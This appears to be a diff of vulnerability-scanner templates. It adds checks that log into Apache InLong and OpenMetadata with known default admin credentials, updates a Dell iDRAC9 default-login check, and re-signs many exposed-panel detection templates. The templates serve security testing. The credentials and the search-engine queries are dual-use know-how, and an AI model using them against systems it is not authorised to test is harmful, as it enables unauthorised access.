@@ -0,0 +1,51 @@
+id: apache-inlong-default-login
+
+info:
+  name: Apache InLong - Default Login
+  author: icarot
+  severity: high
+  description: |
+    Apache InLong server enables default admin credentials. An attacker can execute unauthorized operations.
+  reference:
+    - https://github.com/apache/inlong/
+  classification:
+    cpe: cpe:2.3:a:apache:inlong:1.13.0:*:*:*:*:*:*:*
+  metadata:
+    max-request: 1
+    vendor: apache
+    product: inlong
+    fofa-query: icon_hash="1155196680"
+  tags: apache,inlong,default-login,misconfig
+
+variables:
+  username: admin
+  password: inlong
+
+http:
+  - raw:
+      - |
+        POST /inlong/manager/api/anno/login HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {"username":"{{username}}","password":"{{password}}"}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"success":true'
+          - '"errMsg":null'
+          - '"data":true'
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - 'application/json'
+
+      - type: status
+        status:
+          - 200
+# digest: 4a0a004730450221009cbaa68901bcc32dbe8028c98af6b67fea9babac9ba6ecb300df1ac888ff5b2b022033e6d55443f4463881d0c71fdd012c5438d5e440add84073850e85c87ce91f9b:922c64590222798bb761d5b6d8e72950

http/default-logins/dell/dell-idrac9-default-login.yaml

@@ -1,10 +1,11 @@
 id: dell-idrac9-default-login
 
 info:
-  name: DELL iDRAC9 Default Login
+  name: DELL iDRAC9 - Default Login
   author: kophjager007,milo2012
   severity: high
-  description: DELL iDRAC9 default login information was discovered. The default iDRAC username and password are widely known, and any user with access to the server could change the default password.
+  description: |
+    DELL iDRAC9 default login credentials was discovered.
   reference:
     - https://www.dell.com/support/kbdoc/en-us/000177787/how-to-change-the-default-login-password-of-the-idrac-9
   classification:
@@ -30,14 +31,13 @@ http:
 
     matchers-condition: and
     matchers:
+      - type: regex
+        name: authresult
+        regex:
+          - '"authResult"\s*:\s*0'
+
       - type: status
         status:
           - 201
           - 200
-        condition: or
-
-      - type: word
-        part: body
-        words:
-          - '"authResult":0'
-# digest: 4a0a00473045022075708871311ecc1e56f7229c666f9e770f4ca9d89aca4d5d21cbedab933ef93702210090257f243ada75b6bb86b4556c103bbbdac1f4f3882f9c2488e9f47a23afbf13:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c8cf50ad2870a1cbf0d8900c7826e6288336928170f974753735cae6c0d911af022100feca13be40403a6e874869bfe7a525f6a4a69ba6a0bf5fa1dad62c5b8a780408:922c64590222798bb761d5b6d8e72950

http/default-logins/openmetadata/openmetadata-default-login.yaml

@@ -0,0 +1,52 @@
+id: openmetadata-default-login
+
+info:
+  name: OpenMetadata - Default Login
+  author: icarot
+  severity: high
+  description: |
+    OpenMetadata server enables default admin credentials. An attacker can execute unauthorized operations.
+  reference:
+    - https://github.com/open-metadata/OpenMetadata
+  classification:
+    cpe: cpe:2.3:a:open-metadata:openmetadata:1.7.0:*:*:*:*:*:*:*
+  metadata:
+    max-request: 1
+    vendor: open-metadata
+    product: openmetadata
+    fofa-query: title="OpenMetadata"
+    shodan-query: title:"OpenMetadata"
+  tags: openmetadata,default-login,misconfig
+
+variables:
+  username: [email protected]
+  password: admin
+
+http:
+  - raw:
+      - |
+        POST /api/v1/users/login HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {"email":"{{username}}","password": "{{base64("{{password}}")}}"}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"accessToken":'
+          - '"refreshToken":'
+          - '"expiryDuration":'
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - 'application/json'
+
+      - type: status
+        status:
+          - 200
+# digest: 490a00463044022006f0eae19ec69d68b00b0c786957045c7461ac7ba6a910651f3f4647c1c9bed8022056ff00dfad16f9afeafe66119e7415e1ba2b4d31e63e8507c1e5e770550fca69:922c64590222798bb761d5b6d8e72950

http/exposed-panels/ackee-panel.yaml

@@ -28,4 +28,4 @@ http:
           - 'status_code==200 && contains(tolower(body), "<title>ackee")'
           - "status_code==200 && (\"-1495233116\" == mmh3(base64_py(body)))"
         condition: or
-# digest: 4b0a00483046022100e631bcd2ce92c8251675511be1db1712a85f0011f13c40f6670774ed4ff59a0d022100fc86eb0026026b27d045de29883fbbb5ae065ccbc4d5549ec32b0102f3a717f3:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204ccfb9437a66e42a45bf88de87bf8a0a4df050e2658a971a056dfded101f591e022100fb297c5cf93e89cd69fff2a5a1e3f76e6fad27370fe60a61ad3f2818d033319a:922c64590222798bb761d5b6d8e72950

http/exposed-panels/adfinity-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - '(?i)Version\s+Adfinity([0-9.]+)'
-# digest: 4b0a004830460221008515da811c8d36a1a4bb1ca68e6a6e6779f73e15e6f47f47d93b7b7704e20bd6022100c5fb314e516ccc23373886ff895091866e01bd392b8de44abbb6d53d41d26d83:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210096a50ffa60da5df9053cf9bef9c8e2b848495cd4b0da2de3100209518e13304d022100bcbbbb4bbc31edd12c5dab1745d6bff907b9c1c8e77208bacba535eabd669cc6:922c64590222798bb761d5b6d8e72950

http/exposed-panels/akuiteo-panel.yaml

@@ -37,4 +37,4 @@ http:
         group: 1
         regex:
           - '(?i)x-akuiteo-masterhash:\s+([0-9a-f]+)'
-# digest: 4b0a00483046022100f442fc09254bc8b988cf7a0f0146eec613d06fbe0b4bf673e373a5f8b4239430022100cf25a3dcb576151c795f16f92b5309c082df15a091a60d9ed7315991b82e8ccf:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100925486af1630d8c84c4c91da39267064a6191676fd2bac9b119b47358b271aa8022100b06bddc4b90014222c6b8044b808d8b0935f6eba38b8c6f888e336ce138d918f:922c64590222798bb761d5b6d8e72950

http/exposed-panels/amprion-gridloss-panel.yaml

@@ -31,4 +31,4 @@ http:
         group: 1
         regex:
           - '"envTitle":"([A-Z0-9a-z]+)"'
-# digest: 4a0a00473045022100b7731f6ffc9c5ff58d0232f498a28b0307ce6c52788755f2bba3b5cb3a907966022014f9e49e49006c1dc23910f9af5550e788436d7e2ab7468983b950a82db7e5e4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c2c8e7f2fb2c207dd24453efc5217c31382a046438b1f2e6a5645be0ec637509022011edb847a91bc2cf5bf644e039b16149788d269b3197f91b8697c539f6d3bfc1:922c64590222798bb761d5b6d8e72950

http/exposed-panels/apigee-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - 'Version:?\s+([0-9.]+)'
-# digest: 490a0046304402201931bed62d4dc247dcc9c2c0408b1a57fb28da5a0614a8d454efe1e4fea7094c022070df3c6dc6a1fba0c17d0a5d8b20f3fb41b2a839934d10c27333315da7ee9581:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203139de43edc1be585839c754bfdd05565d86948f7ff0a540d7c9f843c88115a4022100db223860b04ecdd483cddf91140f73a003a8cae5511f004590c842435da1aad7:922c64590222798bb761d5b6d8e72950

http/exposed-panels/blue-yonder-panel.yaml

@@ -29,4 +29,4 @@ http:
           - 'status_code == 200'
           - 'contains(to_lower(body), "title=\"blue yonder\"")'
         condition: and
-# digest: 4a0a004730450220279aa01fb1e96413c5bc9f5234cbeb23fd8e6d195a5d184d3f26fbb48a5c18cd022100844329b4447dc303dabc9cc8e04afab885c18b81894c6da97892c85e90878a8e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022033a7fadce88f0c465a6a82a189a6c708533f1f070820e76761fa3f97db45c91702210094173e38e9b41e49e64f4db832f51098629f46fbadd5718d5b66668226d163fb:922c64590222798bb761d5b6d8e72950

http/exposed-panels/bmc/bmc-controlm-mft-panel.yaml

@@ -27,4 +27,4 @@ http:
           - 'contains(to_lower(body), "file exchange</title>")'
           - 'contains_any(to_lower(body), "main-b2b-icon.png", "fileexchange.ico")'
         condition: and
-# digest: 4a0a004730450221009049ef9dc4ba6515bd4ce91659f1f4b4e1151914bf186e29598f6735572779a20220687e8fb6a3ffdaeb4240c07fdc0e736ef7105cb4b4af345d0f2de235645f04a9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220226e3c6ac442886de16e221eb88ce73ee4aa49eee887a5d6d34f02e2ca02e28e022100ddbed9c7cbe6464cd8a31fdeaaed1b4c24bee2acf0f1fbfa688c816bf4501a54:922c64590222798bb761d5b6d8e72950

http/exposed-panels/bmc/bmc-remedy-sso-panel.yaml

@@ -28,4 +28,4 @@ http:
           - 'status_code == 200'
           - 'contains(to_lower(body), "<title>bmc remedy single sign-on domain data entry")'
         condition: and
-# digest: 4b0a00483046022100a221b8a460c3e86af795adedb90c9aa6867ab00e424f8e14e6d1d49821de1996022100cd18184c20b6f9aaba5ec81dcb0b8b697db14937f4faab9f8693c1a23094eb20:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201d81a61d31e0313f77a596d58f9fb626ce43686a0a2ae0f8d665cdd2a6136c30022100918747fac91c137e1fa7bb19e94e034967d1858109f5c17f5606a87e154dc612:922c64590222798bb761d5b6d8e72950

http/exposed-panels/bynder-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - 'http-equiv="version"\s+content="([0-9\.]+)"'
-# digest: 4a0a00473045022046988deefece3f7e666e9ccbf3450fd772aea7fb219563f0cd92521a5f1c18d2022100b13e45866e96b96736c3eacbe9301d06f87abf13042da25ffd9796cbd0a3e71c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100aa494606a748e59419d4dde57962f550052fb6de79ef5d5087a985216b3b11a602203c1018fe5a2f603b4ff2b7eab4ee13647e04fdf140cf8747f8c6d8c4e701b656:922c64590222798bb761d5b6d8e72950

http/exposed-panels/cisco-cm-panel.yaml

@@ -28,4 +28,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022031a18d2540006e19b7bb37236ad5164da4be22eb0bc0f7acc2a8ca57dd6159340221009b2d478680b119238d579453c5d3ed7e784259cebbb2e6e38269a63bf4f54808:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022064233f0a40ad3053b75e9f5d0cc5824353dae5f3dfc809478566c8882bccb67502206429834bdf96ff278ae6697c82b5b4952c513b02bd8fe60b6b11e574d4a41838:922c64590222798bb761d5b6d8e72950

http/exposed-panels/cisco-prime-license-manager-panel.yaml

@@ -28,4 +28,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100a638bb846d34e5025a35076cd3235570ccf97032919539b3ef6b7a3a6275f9c3022100c5fdf78e237382d620791b13435a210dac9def4dd0af266cecdfdd1150234e54:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207c9c71d8cc032e3acfdbf2cdeb90392ac8fd23b35e890b9f34cc61fc2f98be9c022100f63af4d9f0b3c92c8f9835b1c569f1466677c9ccb79df2c1a330efed9e69d138:922c64590222798bb761d5b6d8e72950

http/exposed-panels/cockpit-project-panel.yaml

@@ -47,4 +47,4 @@ http:
       - type: dsl
         dsl:
           - '"OS: " + os + " | Hostname: " + hostname'
-# digest: 4a0a00473045022100c6bcc633ea4e1c3d0b9895b1c1f55c80c74dcbfa9c9a31171a5cd18449a86e5302200720139a6508480d29cc8484ed5d9f17241d16734263cc56ab0878cff2a1b26f:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008982385026334e765aa842becd43f7c29e4da8fc2ff90daa83aa509f27aad6d4022100b7307bc38c85b7c35cd03d14ff88bdb287d25021e0e410bb4c9ac391086f152a:922c64590222798bb761d5b6d8e72950

http/exposed-panels/easyvista-panel.yaml

@@ -33,4 +33,4 @@ http:
         regex:
           - '(?i)package:\s+"([a-z0-9._-]+)"'
           - '(?i)version : ([a-z0-9._-]+)'
-# digest: 4a0a004730450220108cfc61d5309a13f680be6e8a3d22765616d49eaf57d76436c6204c1227e5d102210097de71f401ddcdd427abd57d8c79c76a2859bd813f0c29e5ef209d48e0100569:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220348110682a94bcc1c987a9ada9b26ae7d77b927e10382f5d2cc582c0073265e0022100dcace07fd5fc116ef25b4903e8146fe3cca0ed6a3bc982d890c0ee9aa572a3c9:922c64590222798bb761d5b6d8e72950

http/exposed-panels/fortirecorder-panel.yaml

@@ -31,4 +31,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100b6a5ec35c1b6d0e113bce3920ca9b07d45759376ed65f913c5257e4cf1ccda47022100f8780a49583165bbfc7b560fab1dffdc63b586b887988b237adac96618144bdb:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f4ca5df34cf39416f7beace32c6a26a01f30dd20d90face40a4fc09a31c270d602202deb242e3a98ed562d25b6625965bdb02fdf585d0b05d979ba43f41420c45182:922c64590222798bb761d5b6d8e72950

http/exposed-panels/fortiswitch-panel.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a004730450221008b75c0a653c3aea08422bf05b1627f142ce1c13f7f68bde472a205cd9df434d40220620a2637233e9244c4742fec2aabb22de285e27ad6af809e5f080f75454e4076:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220736b24d69484beffe1aa31936cca2cc7665a692aade23a1ff0e5b2b5e70f4ab7022051bca1b6fa8f1f7c7325fdba7cc8e44e92d35dd8a8f174abacc2ddf87acb7f92:922c64590222798bb761d5b6d8e72950

http/exposed-panels/gladinet-centrestack-panel.yaml

@@ -30,4 +30,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100add54ee7c1c598a6b8ffb97ab51a9e0345129707eb098155c96c9dc7ac3a7434022100c816a87245d28488fae50a974b3a8e2bf5af8cb4aa062a214bb8945554c877bf:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202206840d78487c3e923e20d009958dd713e40c68e0ee6a0267c2f5cab46084e9022100c074c815c0db1b98a3fa3bfb5cd8b44363070440c55cf3437020a035bd029256:922c64590222798bb761d5b6d8e72950

http/exposed-panels/haivision-media-platform-panel.yaml

@@ -24,4 +24,4 @@ http:
           - 'status_code == 200'
           - 'contains_any(body, "<title>Haivision Media Platform", "content=\"Haivision Network Video")'
         condition: and
-# digest: 490a00463044022041cb02ebf420ff3b9adf457a3953382ae75d05a6dfac0f79273d9fbb182feef102205f9cc1020771aa7ad005fcd33a474fb6872f984bd40879b712d5a3b10ac9fe8b:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100dfdb97e7a6346125cc2c24708da8c53d0b7576372515337cf735cb4f8da3b60c022100ad2766ffd7143b47ec60254f1d1c15055b969b6091632ad87be42a606df71237:922c64590222798bb761d5b6d8e72950

http/exposed-panels/hyperplanning-panel.yaml

@@ -33,4 +33,4 @@ http:
         group: 1
         regex:
           - '(?i)Server:\s+HYPERPLANNING\s+([0-9.\s\-]+)'
-# digest: 490a0046304402203a7d7612fe3411b081846d153e89ff94b231a3c898ccbf4f06ef5f458edec67e0220529e53214763d6980e469521fac742874ba254e706f26f719e1041a39be29687:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f00bd068d714c0f48e2bac3035a91486e33d53e2b6fc38a2211609c2ddeccbd902202a249ad390f305a6fd73b25daf504fc646e065a4c5458f7cff67c1cb0f71b364:922c64590222798bb761d5b6d8e72950

http/exposed-panels/ivanti-csa-panel.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100a379a0b89042b8ed780fa51bba0bbfbcd57691c4d7a08d1194175b42f708fb8b02202692cc430650eae386d55a61a28acbb32efa0d11d86c939f11e9bf94e7bf609f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210099e4b4aac977c0ff73b36f8fb872a70eaecde6a8ab69c495cd2af6bac9191b620220268e56cc2ecf49902213d42f1c4f54aa7ecd089bedd9d7930a36edcfd14efd06:922c64590222798bb761d5b6d8e72950

http/exposed-panels/ivanti-traffic-manager-panel.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a004830460221009dff02877157cdb782db6231d322e8e0f1fe45d14ac326a629b2103dc1bfa69d022100bb71d97356ce8306f3fb7416a222a087d217892040577836cea75ec1f480e3b9:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220354294a46d7524d03a70ed6421c8dc5e80d5ee63fad3a09883fac92b44757387022061725bddaf3c390c1187868e4e5499d067f4fbeb4d1158497861af751b996aca:922c64590222798bb761d5b6d8e72950

http/exposed-panels/lorex-panel.yaml

@@ -31,4 +31,4 @@ http:
           - 'contains_all(tolower(body), "<title>web service</title>", "lorex")'
           - 'contains_any(body, "/LOREX_webplugin", "lorex_msg")'
         condition: or
-# digest: 4b0a00483046022100f24207864763193ff8af7bc08eed23d3a29136dbec3b0dc6349b4a79385080fe022100e9ce087be9ad2d5c0c694a8b04ca4668fbaf2399763fe43307b6ee2f8d8cb863:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220654ad1bac54d790104f2129630afe977aaa5f86773ca6045ba0256c652e054ca022100e2fa00bf0f704891bb6f671934fbc7e78440ff132ae4ebae1d4762196f9c7c2b:922c64590222798bb761d5b6d8e72950

http/exposed-panels/metube-panel.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a0046304402201beb8bd06c2cfa0d279657206348fc11506a2c0d169286504923d6f7fe3bac6c022018d2e89fa1a95d656a0108417b11303761ea2dd450e1981fdb3f3485ca8f6ef4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502205354349ad6c44ab710546c6b7725982ad23e7696b618132ddafd70c2b01ceba8022100c9c33a6deb95273bbf13ad98af5b14335315beae598292d6426ed3ecc50f9b15:922c64590222798bb761d5b6d8e72950

http/exposed-panels/neocase-hrportal-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - 'name="version"\s+content="([0-9\.]+)"'
-# digest: 4a0a004730450221009940f530d27200e2d907b1139e642da4555b7a52ab725d9a71680c40651bd57f0220516ba6f4a6e5883e34a4bf799f3dc6665e19909bd26fe0104b4ed6cfb17e5a9a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c3777a6d018f805a55a87950ca87c0cb4950315e35bf5b719c768f1bb78500a8022100e70afabbbf9525d0a06fbe6aa3aa949c8040a91cdd71e297dc3bddee5fcc3a00:922c64590222798bb761d5b6d8e72950

http/exposed-panels/nexus-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - '_v=([0-9\.\-]+)'
-# digest: 4b0a00483046022100fa87ad7520d837f91f0003b9567bbda86524846042e3bb9402d5954c74f49e04022100f65b49a3b896dbe536aee86c9b75a954254c10ed24aa078e49feacedb571da46:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c9ceec819f00988a30de3293551386d06a1be4cfdd6418e81de2079a479db364022100cfc7ab0c72d01fbfe95b29ec003a6b2767461e9ff9867ce92d87b4096f9236d9:922c64590222798bb761d5b6d8e72950

http/exposed-panels/ngsurvey-panel.yaml

@@ -25,4 +25,4 @@ http:
           - 'status_code == 200'
           - 'contains_all(to_lower(body), "<title>ngsurvey enterprise survey software</title>", "ngsconfig.js")'
         condition: and
-# digest: 4b0a0048304602210098060655f7243a263020df729c1d14c5623f1805c899674a12dab622cbf4c8ca022100a3c58d3201238a96ea853ca5645ef035b62075e7c3195c415609eda4d8ee619d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c98d5bfa358b305df8ee315aaf3f8784b620a13f22612166aef3b4022d725ade0220078de212c8587cbfcd7cd63c1ed9f3201fbe899772e1acd4732cf68e3a604668:922c64590222798bb761d5b6d8e72950

http/exposed-panels/openwebui-panel.yaml

@@ -31,4 +31,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502210086fff25c58ba045d98f379493412a6d3f32aaa4788b98119f4d56723955e1eb2022074304bd6d051891a69c0a217351c79e1972f3d87fb68a8fba17ae0309367f1dc:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202fae6db4afbc4dc43170b444590a5c47cbd2a1911209f69d66dbcefc6697af1c022018be260acdcf8746d22952c7235cb3d8433f21bca4c0fe428f7e4bb35a4b03d8:922c64590222798bb761d5b6d8e72950

http/exposed-panels/oracle-access-management.yaml

@@ -51,4 +51,4 @@ http:
         group: 1
         regex:
           - '(?i)Login\s+-\s+Oracle\s+Access\s+Management\s+([a-z0-9]+)</title>'
-# digest: 4b0a00483046022100909eff34926f65871e0bbba630a92c530956bb67f45dec71ad4332d16bd9207d022100901cbf3fb053b508d332650fd473a67025dca4f4427fd91a36a7dab407c657fb:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100bd117f1526d9e9b06a76abcffc62a8c2332c415afb2839da71f1db9216093d36022053832dc2af5ee65824c06a0925af8741bf55775fe77930319798302d85cad9a0:922c64590222798bb761d5b6d8e72950

http/exposed-panels/pairdrop-panel.yaml

@@ -33,4 +33,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100d6d729eebbe6bfbfc9ea56aa61e282c6bf5e62d398af68496f467f6e75ca8c6e022100a3dfddff90f74ae160aa90c2d95bab7fce22b6bbe262194e43c30ab94a1f8412:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210096e57d3bbf1fb071381697423a468a7776eeb13bfdae757407f830028a8c100d02202b5b51c9c1442ae9d066e59f47bec08f15ba4ab61b911d1bcda0e6bafc9c928f:922c64590222798bb761d5b6d8e72950

http/exposed-panels/photoprism-panel.yaml

@@ -27,4 +27,4 @@ http:
           - 'status_code == 200'
           - 'contains_all(body, "PhotoPrism", "login")'
         condition: and
-# digest: 4a0a00473045022027420fdeb018583cd733dfb43113743a6ef320cce43d59002cf2145fe4a0b5b0022100f2d643436ae2c244e5b3bf423b35a19295ec31b8489b52ac1226626f02a7b3cf:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b33601707a97a53f0a8bb100dfcf6309334338456931f88768510ed4b2de31aa02203da9e79ca56d138e5c4ee85ec12ef12d97358c31e9907169a9c433754e819cac:922c64590222798bb761d5b6d8e72950

http/exposed-panels/pocketbase-panel.yaml

@@ -31,4 +31,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a004630440220117e9df0fa674d5530174bed7b76e7e90803f4f359f748ee80f2fd8b96005158022066edad46bce7ac3a1b7c762cc9c1554a36eeff4687d6555a1b7e30fdf2723561:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022005ad1cf218cff311a564ecad61785950fc88059f42ae8b77fb01afff7ae72f5902210083423af525e20425b8eac8ce7b3483fee6a29a46691e078e60b91172c137f311:922c64590222798bb761d5b6d8e72950

http/exposed-panels/procore-panel.yaml

@@ -29,4 +29,4 @@ http:
           - '<title>Procore Log In</title>'
           - 'Log in to your Procore account using your email and password'
         condition: and
-# digest: 4b0a00483046022100af4f22b6c91591c5b4575a53c8f1c8e772103e772e5aebee340efbef2d858644022100ee6435d2da9e8eb1029f11d3403d9524177e92bef89af6570c5219223d7aeb66:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221009fbeaec02ed1fc38b4523a066c0aeda6902f98f0c1668cef564d63b1cb31ccd702201e7f0ff4ff1a8a13237900811746197ea54ca957381cca26c6e1bfbb015b0727:922c64590222798bb761d5b6d8e72950

http/exposed-panels/pronote-panel.yaml

@@ -33,4 +33,4 @@ http:
         group: 1
         regex:
           - '(?i)Server:\s+PRONOTE\s+([0-9.\s\-]+)'
-# digest: 4a0a00473045022100f49a20681bcb5467034244367217a1255a648820dcc0d44d96b4a8491211c97102204230f2d070f2fdcbeccf0d1eca882edd9e76fc12cad745ab2e5a83bada3a9898:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b16d05f13b55ea45647dde097f705d2ed398eb0eadec537e911422b8f54ee6aa022100b4ca726c44767367ce996a8862152bc12a54bb78f517a0a42f3c506d9685fa09:922c64590222798bb761d5b6d8e72950

http/exposed-panels/safenet-authentication-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - 'V=([0-9.]+)'
-# digest: 4b0a00483046022100e6c34470fa1f5d45b16dbbd695385aaec60c407fcd8aad305e25811d59666bd1022100a3717cb8aad09ccb9d6467917bbcbb5a8bb525594c08ccf07ce118a1b6e910b4:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205b3965d9f5a8d09941203aef03a29b77bd811a5c6e4192c9f00120afb609469f02204bc75bb0843c7b1309d040d6909a4af292d53e30ae4adae6071a49330856998c:922c64590222798bb761d5b6d8e72950

http/exposed-panels/scalar-detection.yaml

@@ -0,0 +1,56 @@
+id: scalar-detection
+
+info:
+  name: Scalar API Documentation - Detect
+  author: recepgunes
+  severity: info
+  description: Scalar API documentation panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cwe-id: CWE-200
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: scalar
+    product: scalar
+    shodan-query: title:"Scalar API Reference"
+    fofa-query: title="Scalar API Reference"
+    google-query: intitle:"Scalar API Reference"
+  tags: panel,scalar,api,documentation,detect
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/scalar"
+      - "{{BaseURL}}"
+
+    host-redirects: true
+    max-redirects: 2
+    stop-at-first-match: true
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "Scalar API Reference"
+          - "@scalar/api-reference"
+          - "scalar-references"
+          - 'src="scalar.js'
+          - './scalar.aspnetcore.js'
+          - '/scalar/v1'
+        condition: or
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        name: version
+        part: body
+        group: 1
+        regex:
+          - '@scalar/api-reference@([0-9.]+)'
+          - 'scalar.*version.*([0-9.]+)'
+# digest: 4b0a00483046022100fb089ea5320894e8d02b6f863ab944798836b15534b11ba03b429e28abdcd3c9022100b20ce2b2353454590e7e5fca685b33e931213921fe475242f40880887e58f803:922c64590222798bb761d5b6d8e72950

http/exposed-panels/skeepers-panel.yaml

@@ -35,4 +35,4 @@ http:
         group: 1
         regex:
           - 'Version\s+([0-9\.]+)\s+-'
-# digest: 4a0a004730450220710741ee6eb597fd6852ea519de9acf7a14d50c5991fbdec1050e586feed1f5a022100d004f6744d40524af690afca2bb11d48d0c1d0510ea17f3fc868ec4c73b04c36:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022042a17e4d583a6578f460c7413f82f806e64dc4eca10e86aa192ff66fb3306951022100926ec89a40123a8ec45f30f51cb531b37d6e09649f0b86ca355011d50801987d:922c64590222798bb761d5b6d8e72950

http/exposed-panels/tixeo-panel.yaml

@@ -35,4 +35,4 @@ http:
         group: 1
         regex:
           - '"applicationVersion"\s*:\s*"([0-9.]+)"'
-# digest: 4a0a004730450221009773ed4b8065809731f5994fb08c9bbf428609b9555210a9cb0bd7cc617d66860220438fbe06c365e5355ed52072f7dd395d40f37f9129384aa1b0d1e64b898bcb81:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e8565d17909ab8740d0f940f4a2bcab1d6d9430e0a7f704bb30434992fafe9b6022061f2e9d9bd5e091363dc5514b2aadf5d6e5615f9e44801d38441dde6f18fb426:922c64590222798bb761d5b6d8e72950

http/exposed-panels/unleash-panel.yaml

@@ -37,4 +37,4 @@ http:
       - type: dsl
         dsl:
           - "status_code==200 && (\"-608690655\" == mmh3(base64_py(body)))"
-# digest: 4a0a00473045022067856c6f14fd5444596b6bd5d296b6a54c56822c5f7c5d0bbd18da08d9663666022100903aca3e07a590d6538d2017fcd22442755bc3f45bd27fd7ece6b24000a54522:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ce1603094c8aa8e4757e289ad73bc78be36909af012641cbe94bea751a6395c9022100b07bac21b6e366cd1253157efea235cf743b46faf18cfdec2209a5ef29071d37:922c64590222798bb761d5b6d8e72950

http/exposed-panels/veritas-netbackup-panel.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022036f6dc6ca58522fddec2e9e852a6130b6e9f4b3b051ae97623b715e2b69f5e37022100d3d91f2926b862f34f7d4e6eb0f50b098e1f1fffb58982dd83a658b9e178146f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220645f27630807aeb2e8d7c26a119e13db409acc75c0b7638fa6cffc226297f399022100b58de1c620295ac79bab3d9a5535e841b35ee4a9b4bdf2b8bb75f3086ff6ba18:922c64590222798bb761d5b6d8e72950

http/exposed-panels/vince-panel.yaml

@@ -25,4 +25,4 @@ http:
           - 'status_code == 200'
           - 'contains_any(to_lower(body), "vince - high performance", "vince · open source web", "Welcome to Vince")'
         condition: and
-# digest: 490a0046304402200d0a7f89f9750f1e270dc08a119eeec4bbcbd1607aeca028e8d45ec9353f75ba02206027c53bcf8799ddedca809bf5903de3fc249989e974d4bada62e419507b4190:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207537ef408ad1f914a08ee1f0f7fb8fe818ebaf52152747348720a2920b895e3c02200109bec39bfbe4b9753900979b1cdf19b8bc6f62c400f30c3f245178b073db16:922c64590222798bb761d5b6d8e72950

http/exposed-panels/vmware-aria-panel.yaml

@@ -27,4 +27,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100e36d15cc1f36b6ef63681094d63b301ecc9ecda6c22b1f6df5b0eaa482172586022100bb84681766c612a3abcae92e6575ab1cd49725ee6aef69df9c33ba1ba514cd8d:922c64590222798bb761d5b6d8e72950
